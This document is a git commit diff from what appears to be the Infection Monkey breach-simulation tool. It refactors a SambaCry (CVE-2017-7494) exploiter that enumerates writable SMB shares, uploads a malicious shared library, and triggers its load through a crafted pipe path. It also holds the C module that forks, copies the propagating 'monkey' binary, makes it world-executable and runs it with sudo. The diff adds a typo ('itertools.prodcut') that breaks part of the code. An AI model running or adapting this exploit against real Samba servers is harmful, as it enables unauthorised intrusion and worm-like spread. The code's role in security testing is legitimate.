This commit is contained in:
Itay Mizeretz 2017-09-04 14:52:24 +03:00
parent c8d7a2c4d3
commit cc889f9124
5 changed files with 91 additions and 96 deletions

View File

@ -174,22 +174,22 @@ class ControlClient(object):
if is_windows: if is_windows:
os = "windows" os = "windows"
if is_32bit: if is_32bit:
arc = "x86" arch = "x86"
else: else:
arc = "amd64" arch = "amd64"
else: else:
os = "linux" os = "linux"
if is_32bit: if is_32bit:
arc = "i686" arch = "i686"
else: else:
arc = "x86_64" arch = "x86_64"
return \ return \
{ {
"os": "os":
{ {
"type": os, "type": os,
"machine": arc "machine": arch
} }
} }

View File

@ -8,6 +8,8 @@ import logging
import subprocess import subprocess
import argparse import argparse
from ctypes import c_char_p from ctypes import c_char_p
from exploit.tools import build_monkey_commandline_explicitly
from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
from config import WormConfiguration from config import WormConfiguration
from system_info import SystemInfoCollector, OperatingSystem from system_info import SystemInfoCollector, OperatingSystem
@ -44,7 +46,7 @@ class MonkeyDrops(object):
def start(self): def start(self):
if self._config['destination_path'] is None: if self._config['destination_path'] is None:
# TODO: log or something. LOG.error("No destination path specified")
return return
# we copy/move only in case path is different # we copy/move only in case path is different
@ -93,23 +95,18 @@ class MonkeyDrops(object):
except: except:
LOG.warn("Cannot set reference date to destination file") LOG.warn("Cannot set reference date to destination file")
monkey_options = "" monkey_options = build_monkey_commandline_explicitly(
if self.opts.parent: self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
monkey_options += " -p %s" % self.opts.parent
if self.opts.tunnel:
monkey_options += " -t %s" % self.opts.tunnel
if self.opts.server:
monkey_options += " -s %s" % self.opts.server
if self.opts.depth:
monkey_options += " -d %s" % self.opts.depth
if OperatingSystem.Windows == SystemInfoCollector.get_os(): if OperatingSystem.Windows == SystemInfoCollector.get_os():
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options
else: else:
dest_path = self._config['destination_path'] dest_path = self._config['destination_path']
monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_filename': dest_path.split("/")[-1]} + monkey_options # In linux we have a more complex commandline. There's a general outer one, and the inner one which actually
# runs the monkey
inner_monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_filename': dest_path.split("/")[-1]} + monkey_options
monkey_cmdline = GENERAL_CMDLINE_LINUX % {'monkey_directory': dest_path[0:dest_path.rfind("/")], monkey_cmdline = GENERAL_CMDLINE_LINUX % {'monkey_directory': dest_path[0:dest_path.rfind("/")],
'monkey_commandline': monkey_cmdline} 'monkey_commandline': inner_monkey_cmdline}
monkey_process = subprocess.Popen(monkey_cmdline, shell=True, monkey_process = subprocess.Popen(monkey_cmdline, shell=True,
stdin=None, stdout=None, stderr=None, stdin=None, stdout=None, stderr=None,

View File

@ -4,6 +4,8 @@ import sys
import time import time
from io import BytesIO from io import BytesIO
from os import path from os import path
import itertools
import posixpath
import impacket.smbconnection import impacket.smbconnection
from impacket.nt_errors import STATUS_SUCCESS from impacket.nt_errors import STATUS_SUCCESS
@ -18,7 +20,7 @@ import monkeyfs
from exploit import HostExploiter from exploit import HostExploiter
from model import DROPPER_ARG from model import DROPPER_ARG
from network.smbfinger import SMB_SERVICE from network.smbfinger import SMB_SERVICE
from tools import build_monkey_commandline, get_target_monkey_by_os from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path
__author__ = 'itay.mizeretz' __author__ = 'itay.mizeretz'
@ -76,7 +78,6 @@ class SambaCryExploiter(HostExploiter):
:param host: victim Host object :param host: victim Host object
:param share: share name :param share: share name
:param creds: credentials to use with share :param creds: credentials to use with share
:param monkey_bin_src_path: src path of monkey binary to upload
:param depth: current depth of monkey :param depth: current depth of monkey
""" """
try: try:
@ -148,11 +149,7 @@ class SambaCryExploiter(HostExploiter):
shares = self.list_shares(smb_client) shares = self.list_shares(smb_client)
# don't try shares we can already write to. # don't try shares we can already write to.
for writable_share in writable_shares_creds_dict: for share in [x for x in shares if x not in writable_shares_creds_dict]:
if writable_share in shares:
shares.remove(writable_share)
for share in shares:
if self.is_share_writable(smb_client, share): if self.is_share_writable(smb_client, share):
writable_shares_creds_dict[share] = credentials writable_shares_creds_dict[share] = credentials
@ -165,6 +162,8 @@ class SambaCryExploiter(HostExploiter):
def get_credentials_list(self): def get_credentials_list(self):
user_password_pairs = self._config.get_exploit_user_password_pairs() user_password_pairs = self._config.get_exploit_user_password_pairs()
# Add empty credentials for anonymous shares.
credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}] credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}]
for user, password in user_password_pairs: for user, password in user_password_pairs:
@ -174,11 +173,7 @@ class SambaCryExploiter(HostExploiter):
def list_shares(self, smb_client): def list_shares(self, smb_client):
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()] shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
for share in self._config.sambacry_shares_not_to_check: return [x for x in shares if x not in self._config.sambacry_shares_not_to_check]
if share in shares:
shares.remove(share)
return shares
def is_vulnerable(self, host): def is_vulnerable(self, host):
""" """
@ -209,8 +204,8 @@ class SambaCryExploiter(HostExploiter):
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"): elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"):
is_vulnerable = True is_vulnerable = True
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %d" % LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
(host.ip_addr, smb_server_name, samba_version, int(is_vulnerable))) (host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)))
return is_vulnerable return is_vulnerable
@ -244,7 +239,6 @@ class SambaCryExploiter(HostExploiter):
:param smb_client: smb client object :param smb_client: smb client object
:param host: victim Host object :param host: victim Host object
:param share: share name :param share: share name
:param monkey_bin_src_path: src path of monkey binary to upload
:param depth: current depth of monkey :param depth: current depth of monkey
""" """
tree_id = smb_client.connectTree(share) tree_id = smb_client.connectTree(share)
@ -305,7 +299,7 @@ class SambaCryExploiter(HostExploiter):
try: try:
# the extra / on the beginning is required for the vulnerability # the extra / on the beginning is required for the vulnerability
self.openPipe(smb_client, "/" + module_path) self.open_pipe(smb_client, "/" + module_path)
except (impacket.smbconnection.SessionError, SessionError) as e: except (impacket.smbconnection.SessionError, SessionError) as e:
# This is the expected result. We can't tell whether we succeeded or not just by this error code. # This is the expected result. We can't tell whether we succeeded or not just by this error code.
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
@ -321,25 +315,22 @@ class SambaCryExploiter(HostExploiter):
:param share_name: Name of the share :param share_name: Name of the share
:return: Array of possible full paths to the module. :return: Array of possible full paths to the module.
""" """
possible_paths = [] sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess
file_names = [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64]
for folder_path in self._config.sambacry_folder_paths_to_guess: return [posixpath.join(*x) for x in itertools.prodcut(sambacry_folder_paths_to_guess, [share_name], file_names)]
for file_name in [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64]:
possible_paths.append('%s/%s/%s' % (folder_path, share_name, file_name))
return possible_paths
def get_monkey_runner_bin_file(self, is_32bit): def get_monkey_runner_bin_file(self, is_32bit):
if is_32bit: if is_32bit:
return open(path.join(sys._MEIPASS, self._config.sambacry_runner_filename_32), "rb") return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_32), "rb")
else: else:
return open(path.join(sys._MEIPASS, self._config.sambacry_runner_filename_64), "rb") return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_64), "rb")
def get_monkey_commandline_file(self, host, depth, location): def get_monkey_commandline_file(self, host, depth, location):
return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location)) return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location))
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability # # Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
def createSmb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, def create_smb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition,
fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None): oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
@ -385,7 +376,7 @@ class SambaCryExploiter(HostExploiter):
# In our case, str(FileID) # In our case, str(FileID)
return str(createResponse['FileID']) return str(createResponse['FileID'])
def openPipe(self, smb_client, pathName): def open_pipe(self, smb_client, pathName):
# We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style # We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
# to make things easier for the caller. Not this time ;) # to make things easier for the caller. Not this time ;)
treeId = smb_client.connectTree('IPC$') treeId = smb_client.connectTree('IPC$')
@ -415,5 +406,5 @@ class SambaCryExploiter(HostExploiter):
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
else: else:
return self.createSmb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ, return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0) creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)

View File

@ -442,33 +442,47 @@ def get_target_monkey(host):
return monkey_path return monkey_path
def get_target_monkey_by_os(is_windows, is_32bit): def get_target_monkey_by_os(is_windows, is_32bit):
from control import ControlClient from control import ControlClient
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit) return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
def build_monkey_commandline(target_host, depth, location=None):
from config import WormConfiguration, GUID
def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
cmdline = "" cmdline = ""
cmdline += " -p " + GUID
if target_host.default_tunnel: if parent is not None:
cmdline += " -t " + target_host.default_tunnel cmdline += " -p " + parent
if target_host.default_server: if tunnel is not None:
cmdline += " -s " + target_host.default_server cmdline += " -t " + tunnel
if server is not None:
cmdline += " -s " + server
if depth is not None:
if depth < 0: if depth < 0:
depth = 0 depth = 0
cmdline += " -d %d" % depth cmdline += " -d %d" % depth
if location is not None: if location is not None:
cmdline += " -l %s" % location cmdline += " -l %s" % location
return cmdline return cmdline
def build_monkey_commandline(target_host, depth, location=None):
from config import GUID
return build_monkey_commandline_explicitly(
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
def report_failed_login(exploiter, machine, user, password): def report_failed_login(exploiter, machine, user, password):
from control import ControlClient from control import ControlClient
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__, ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
'exploiter': exploiter.__class__.__name__, 'exploiter': exploiter.__class__.__name__,
'user': user, 'password': password}) 'user': user, 'password': password})
def get_binaries_dir_path():
if getattr(sys, 'frozen', False):
return sys._MEIPASS
else:
return os.path.dirname(os.path.abspath(__file__))

View File

@ -7,11 +7,11 @@
#include "sc_monkey_runner.h" #include "sc_monkey_runner.h"
#ifdef __x86_64__ #ifdef __x86_64__
#define ARC_IS_64 #define ARCH_IS_64
#endif #endif
#ifdef _____LP64_____ #ifdef _____LP64_____
#define ARC_IS_64 #define ARCH_IS_64
#endif #endif
#define LINE_MAX_LENGTH (2048) #define LINE_MAX_LENGTH (2048)
@ -19,7 +19,7 @@
int samba_init_module(void) int samba_init_module(void)
{ {
#ifdef ARC_IS_64 #ifdef ARCH_IS_64
const char RUNNER_FILENAME[] = "sc_monkey_runner64.so"; const char RUNNER_FILENAME[] = "sc_monkey_runner64.so";
const char MONKEY_NAME[] = "monkey64"; const char MONKEY_NAME[] = "monkey64";
const char MONKEY_COPY_NAME[] = "monkey64_2"; const char MONKEY_COPY_NAME[] = "monkey64_2";
@ -30,23 +30,24 @@ int samba_init_module(void)
#endif #endif
const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result"; const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result";
const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt"; const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt";
const char ACCESS_MODE_STRING[] = "0777"; const int ACCESS_MODE_STRING = 0777;
const char RUN_MONKEY_CMD[] = "sudo ./"; const char RUN_MONKEY_CMD[] = "sudo ./";
int found = 0; int found = 0;
char modulePathLine[LINE_MAX_LENGTH]; char modulePathLine[LINE_MAX_LENGTH] = {'\0'};
char commandline[LINE_MAX_LENGTH] = {'\0'}; char commandline[LINE_MAX_LENGTH] = {'\0'};
char* monkeyDirectory; char* monkeyDirectory = NULL;
char* fileNamePointer; char* fileNamePointer = NULL;
int accessMode; int accessMode = 0;
FILE * pFile; FILE * pFile = NULL;
pid_t pid = 0; pid_t pid = 0;
int monkeySize; int monkeySize = 0;
void* monkeyBinary; void* monkeyBinary = NULL;
struct stat fileStats;
pid = fork(); pid = fork();
if (pid != 0) if (0 != pid)
{ {
// error or this is parent - nothing to do but return. // error or this is parent - nothing to do but return.
return 0; return 0;
@ -54,7 +55,7 @@ int samba_init_module(void)
// Find fullpath of running module. // Find fullpath of running module.
pFile = fopen("/proc/self/maps", "r"); pFile = fopen("/proc/self/maps", "r");
if (pFile == NULL) if (NULL == pFile)
{ {
return 0; return 0;
} }
@ -70,7 +71,7 @@ int samba_init_module(void)
fclose(pFile); fclose(pFile);
// We can't find ourselves in module list // We can't find ourselves in module list
if (found == 0) if (0 == found)
{ {
return 0; return 0;
} }
@ -78,14 +79,14 @@ int samba_init_module(void)
monkeyDirectory = strchr(modulePathLine, '/'); monkeyDirectory = strchr(modulePathLine, '/');
*fileNamePointer = '\0'; *fileNamePointer = '\0';
if (chdir(monkeyDirectory) < 0) if (0 != chdir(monkeyDirectory))
{ {
return 0; return 0;
} }
// Write file to indicate we're running // Write file to indicate we're running
pFile = fopen(RUNNER_RESULT_FILENAME, "w"); pFile = fopen(RUNNER_RESULT_FILENAME, "w");
if (pFile == NULL) if (NULL == pFile)
{ {
return 0; return 0;
} }
@ -95,44 +96,37 @@ int samba_init_module(void)
// Read commandline // Read commandline
pFile = fopen(COMMANDLINE_FILENAME, "r"); pFile = fopen(COMMANDLINE_FILENAME, "r");
if (pFile == NULL) if (NULL == pFile)
{ {
return 0; return 0;
} }
// Build commandline // Build commandline
strcpy(commandline, RUN_MONKEY_CMD); strncat(commandline, RUN_MONKEY_CMD, sizeof(RUN_MONKEY_CMD) - 1);
strcpy(commandline + strlen(RUN_MONKEY_CMD), MONKEY_COPY_NAME); strncat(commandline, MONKEY_COPY_NAME, sizeof(MONKEY_COPY_NAME) - 1);
commandline[strlen(RUN_MONKEY_CMD) + strlen(MONKEY_COPY_NAME)] = ' '; strncat(commandline, " ", 1);
fread(commandline + strlen(RUN_MONKEY_CMD) + strlen(MONKEY_COPY_NAME) + 1, 1, LINE_MAX_LENGTH, pFile); fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile);
fclose(pFile); fclose(pFile);
if (0 != stat(MONKEY_NAME, &fileStats))
{
return 0;
}
monkeySize = (int)fileStats.st_size;
// Copy monkey to new file so we'll own it. // Copy monkey to new file so we'll own it.
pFile = fopen(MONKEY_NAME, "rb"); pFile = fopen(MONKEY_NAME, "rb");
if (pFile == NULL) if (NULL == pFile)
{ {
return 0; return 0;
} }
if (0 != fseek (pFile, 0 ,SEEK_END))
{
return 0;
}
monkeySize = ftell(pFile);
if (-1 == monkeySize)
{
return 0;
}
rewind(pFile);
monkeyBinary = malloc(monkeySize); monkeyBinary = malloc(monkeySize);
if (0 == monkeyBinary) if (NULL == monkeyBinary)
{ {
return 0; return 0;
} }
@ -141,7 +135,7 @@ int samba_init_module(void)
fclose(pFile); fclose(pFile);
pFile = fopen(MONKEY_COPY_NAME, "wb"); pFile = fopen(MONKEY_COPY_NAME, "wb");
if (pFile == NULL) if (NULL == pFile)
{ {
free(monkeyBinary); free(monkeyBinary);
return 0; return 0;
@ -151,8 +145,7 @@ int samba_init_module(void)
free(monkeyBinary); free(monkeyBinary);
// Change monkey permissions // Change monkey permissions
accessMode = strtol(ACCESS_MODE_STRING, 0, 8); if (0 != chmod(MONKEY_COPY_NAME, ACCESS_MODE_STRING))
if (chmod(MONKEY_COPY_NAME, accessMode) < 0)
{ {
return 0; return 0;
} }